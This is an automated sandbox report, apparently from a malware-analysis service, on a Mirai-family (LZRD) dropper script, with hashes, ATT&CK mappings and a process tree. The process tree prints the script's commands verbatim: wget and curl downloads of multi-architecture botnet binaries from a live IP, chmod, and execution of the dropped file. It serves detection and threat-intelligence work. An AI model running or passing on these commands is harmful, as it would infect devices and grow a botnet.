mirai | 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed

Analysis

max time kernel
139s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
09/11/2024, 08:32

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General

Target

ohshit.sh
Size

2KB
MD5

f0daa2dd315e06f5d6dc4b15fa4cdea9
SHA1

23761746f0128a46fb08f77ba85047bf27402b32
SHA256

951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed
SHA512

c198adb63fc6f58d09fa2e34c34ab9b8da63b45d3536ee881a5ddb2c8bccf78fc0550f1863b3fc6e15574aca46ea460e70f75d9c182524448f92960f4768bfac

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1526	chmod
1536	chmod
1628	chmod
1638	chmod
1506	chmod
1516	chmod
1568	chmod
1578	chmod
1618	chmod
1500	chmod
1598	chmod
1608	chmod
1546	chmod
1558	chmod
1588	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	1501	Chaotic
/tmp/Chaotic	1507	Chaotic
/tmp/Chaotic	1517	Chaotic
/tmp/Chaotic	1527	Chaotic
/tmp/Chaotic	1537	Chaotic
/tmp/Chaotic	1547	Chaotic
/tmp/Chaotic	1559	Chaotic
/tmp/Chaotic	1569	Chaotic
/tmp/Chaotic	1579	Chaotic
/tmp/Chaotic	1589	Chaotic
/tmp/Chaotic	1599	Chaotic
/tmp/Chaotic	1609	Chaotic
/tmp/Chaotic	1619	Chaotic
/tmp/Chaotic	1629	Chaotic
/tmp/Chaotic	1639	Chaotic

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/85/status	Chaotic
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/902/status	Chaotic
File opened for reading	/proc/1532/status	Chaotic
File opened for reading	/proc/1484/status	Chaotic
File opened for reading	/proc/1564/status	Chaotic
File opened for reading	/proc/1145/status	Chaotic
File opened for reading	/proc/5/status	Chaotic
File opened for reading	/proc/1169/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/1479/status	Chaotic
File opened for reading	/proc/27/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/1234/status	Chaotic
File opened for reading	/proc/1126/status	Chaotic
File opened for reading	/proc/79/status	Chaotic
File opened for reading	/proc/451/status	Chaotic
File opened for reading	/proc/1480/status	Chaotic
File opened for reading	/proc/270/status	Chaotic
File opened for reading	/proc/433/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/1145/status	Chaotic
File opened for reading	/proc/1087/status	Chaotic
File opened for reading	/proc/548/status	Chaotic
File opened for reading	/proc/645/status	Chaotic
File opened for reading	/proc/1017/status	Chaotic
File opened for reading	/proc/1141/status	Chaotic
File opened for reading	/proc/1159/status	Chaotic
File opened for reading	/proc/1158/status	Chaotic
File opened for reading	/proc/1214/status	Chaotic
File opened for reading	/proc/473/status	Chaotic
File opened for reading	/proc/1484/status	Chaotic
File opened for reading	/proc/1163/status	Chaotic
File opened for reading	/proc/1139/status	Chaotic
File opened for reading	/proc/1064/status	Chaotic
File opened for reading	/proc/1530/status	Chaotic
File opened for reading	/proc/31/status	Chaotic
File opened for reading	/proc/1037/status	Chaotic
File opened for reading	/proc/760/status	Chaotic
File opened for reading	/proc/1311/status	Chaotic
File opened for reading	/proc/1017/status	Chaotic
File opened for reading	/proc/980/status	Chaotic
File opened for reading	/proc/35/status	Chaotic
File opened for reading	/proc/160/status	Chaotic
File opened for reading	/proc/78/status	Chaotic
File opened for reading	/proc/437/status	Chaotic
File opened for reading	/proc/1237/status	Chaotic
File opened for reading	/proc/1136/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/434/status	Chaotic
File opened for reading	/proc/434/status	Chaotic
File opened for reading	/proc/1479/status	Chaotic
File opened for reading	/proc/1171/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/985/status	Chaotic
File opened for reading	/proc/539/status	Chaotic
File opened for reading	/proc/162/status	Chaotic
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/1183/status	Chaotic
File opened for reading	/proc/1050/status	Chaotic
File opened for reading	/proc/1522/status	Chaotic
File opened for reading	/proc/660/status	Chaotic

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1533	wget
1534	curl
1543	wget
1544	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/camp.ppc	wget
File opened for modification	/tmp/camp.i686	wget
File opened for modification	/tmp/camp.arm	wget
File opened for modification	/tmp/camp.arm5	wget
File opened for modification	/tmp/camp.arm7	wget
File opened for modification	/tmp/camp.arm7	curl
File opened for modification	/tmp/camp.m68k	wget
File opened for modification	/tmp/camp.x86	curl
File opened for modification	/tmp/camp.mips	wget
File opened for modification	/tmp/camp.mips	curl
File opened for modification	/tmp/camp.mips64	curl
File opened for modification	/tmp/camp.mpsl	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/camp.arc	wget
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/camp.mpsl	wget
File opened for modification	/tmp/camp.ppc	curl
File opened for modification	/tmp/camp.sh4	wget
File opened for modification	/tmp/camp.x86	wget
File opened for modification	/tmp/camp.arm6	wget
File opened for modification	/tmp/camp.sparc	curl
File opened for modification	/tmp/camp.m68k	curl
File opened for modification	/tmp/camp.sh4	curl
File opened for modification	/tmp/camp.arc	curl
File opened for modification	/tmp/camp.arm	curl
File opened for modification	/tmp/camp.arm6	curl
File opened for modification	/tmp/camp.x86_64	wget
File opened for modification	/tmp/camp.x86_64	curl
File opened for modification	/tmp/camp.i686	curl
File opened for modification	/tmp/camp.arm5	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1484
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1485
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.arc
  2⤵
  - Writes file to tmp directory
  PID:1486
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.arc
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/cat
  cat camp.arc
  2⤵
  PID:1499
- /bin/chmod
  chmod +x busybox camp.arc Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9 systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-timedated.service-qmzLJ2
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:1501
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.x86
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.x86
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/cat
  cat camp.x86
  2⤵
  PID:1505
- /bin/chmod
  chmod +x busybox camp.arc camp.x86 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9 systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-timedated.service-qmzLJ2
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1507
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod +x busybox camp.arc camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9 systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-timedated.service-qmzLJ2
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1517
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.i686
  2⤵
  - Writes file to tmp directory
  PID:1523
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.i686
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod +x busybox camp.arc camp.i686 camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9 systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-timedated.service-qmzLJ2
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1527
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1533
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod +x busybox camp.arc camp.i686 camp.mips camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9 systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-timedated.service-qmzLJ2
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1537
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1543
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod +x busybox camp.arc camp.i686 camp.mips camp.mips64 camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9 systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-timedated.service-qmzLJ2
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1547
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod +x busybox camp.arc camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1559
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.arm
  2⤵
  - Writes file to tmp directory
  PID:1565
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.arm
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod +x busybox camp.arc camp.arm camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1569
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.arm5
  2⤵
  - Writes file to tmp directory
  PID:1575
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.arm5
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/chmod
  chmod +x busybox camp.arc camp.arm camp.arm5 camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1579
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.arm6
  2⤵
  - Writes file to tmp directory
  PID:1585
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.arm6
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/chmod
  chmod +x busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1588
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1589
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.arm7
  2⤵
  - Writes file to tmp directory
  PID:1595
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.arm7
  2⤵
  - Writes file to tmp directory
  PID:1596
- /bin/chmod
  chmod +x busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1598
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1599
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.ppc
  2⤵
  - Writes file to tmp directory
  PID:1605
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.ppc
  2⤵
  - Writes file to tmp directory
  PID:1606
- /bin/chmod
  chmod +x busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.mips camp.mips64 camp.mpsl camp.ppc camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1609
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.sparc
  2⤵
  PID:1615
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.sparc
  2⤵
  - Writes file to tmp directory
  PID:1616
- /bin/chmod
  chmod +x busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.mips camp.mips64 camp.mpsl camp.ppc camp.sparc camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1618
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1619
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.m68k
  2⤵
  - Writes file to tmp directory
  PID:1625
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.m68k
  2⤵
  - Writes file to tmp directory
  PID:1626
- /bin/chmod
  chmod +x busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.m68k camp.mips camp.mips64 camp.mpsl camp.ppc camp.sparc camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1628
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1629
- /usr/bin/wget
  wget http://198.12.107.126/bins/camp.sh4
  2⤵
  - Writes file to tmp directory
  PID:1635
- /usr/bin/curl
  curl -O http://198.12.107.126/bins/camp.sh4
  2⤵
  - Writes file to tmp directory
  PID:1636
- /bin/chmod
  chmod +x busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.m68k camp.mips camp.mips64 camp.mpsl camp.ppc camp.sh4 camp.sparc camp.x86 camp.x86_64 Chaotic config-err-PU8zzp netplan_ot4kxa4r ohshit.sh snap-private-tmp ssh-zbwPaKMzi2qM systemd-private-bf208f6257324ef8b3d477b75786447e-bolt.service-kcCX9t systemd-private-bf208f6257324ef8b3d477b75786447e-colord.service-YLtGJA systemd-private-bf208f6257324ef8b3d477b75786447e-ModemManager.service-4VyTbV systemd-private-bf208f6257324ef8b3d477b75786447e-systemd-resolved.service-wNuPt9
  2⤵
  - File and Directory Permissions Modification
  PID:1638
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1639

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Chaotic

Filesize
34KB

MD5
dac9f1dcafdb77db0d0ff1be1e704b1e

SHA1
e83605a050e0aaad3dba360545a00036f083eb91

SHA256
7fd32ee1c25ade0f67fc93e797707d956ee74c36c44c93ea8e3f00a0085e938d

SHA512
e2869500ed728e8a63947e541dc5c04edb9d581862715863334195d87f35c5207de8db7e23affe8113b2029ddbffd92364491e4291c53ecc4664fcc0244a0571

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/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

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/tmp/camp.arc

Filesize
113KB

MD5
36a7a1e959eaf7d6896505777912ecdf

SHA1
4f9a1f8cc82036f0ffb90c6dc1c5093bca499919

SHA256
5111947e9ff3b6280e4ba90b172bf864838492b0b48d640be41f51be427c44ca

SHA512
77acb1b88c40e0f91b4ec44216b3b49161a892f6bbca2cb09fe82be1ba7f5b469008f655b46473ba53734d2610863b98f97ac3a54475837867efc3e156bf2fb0

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads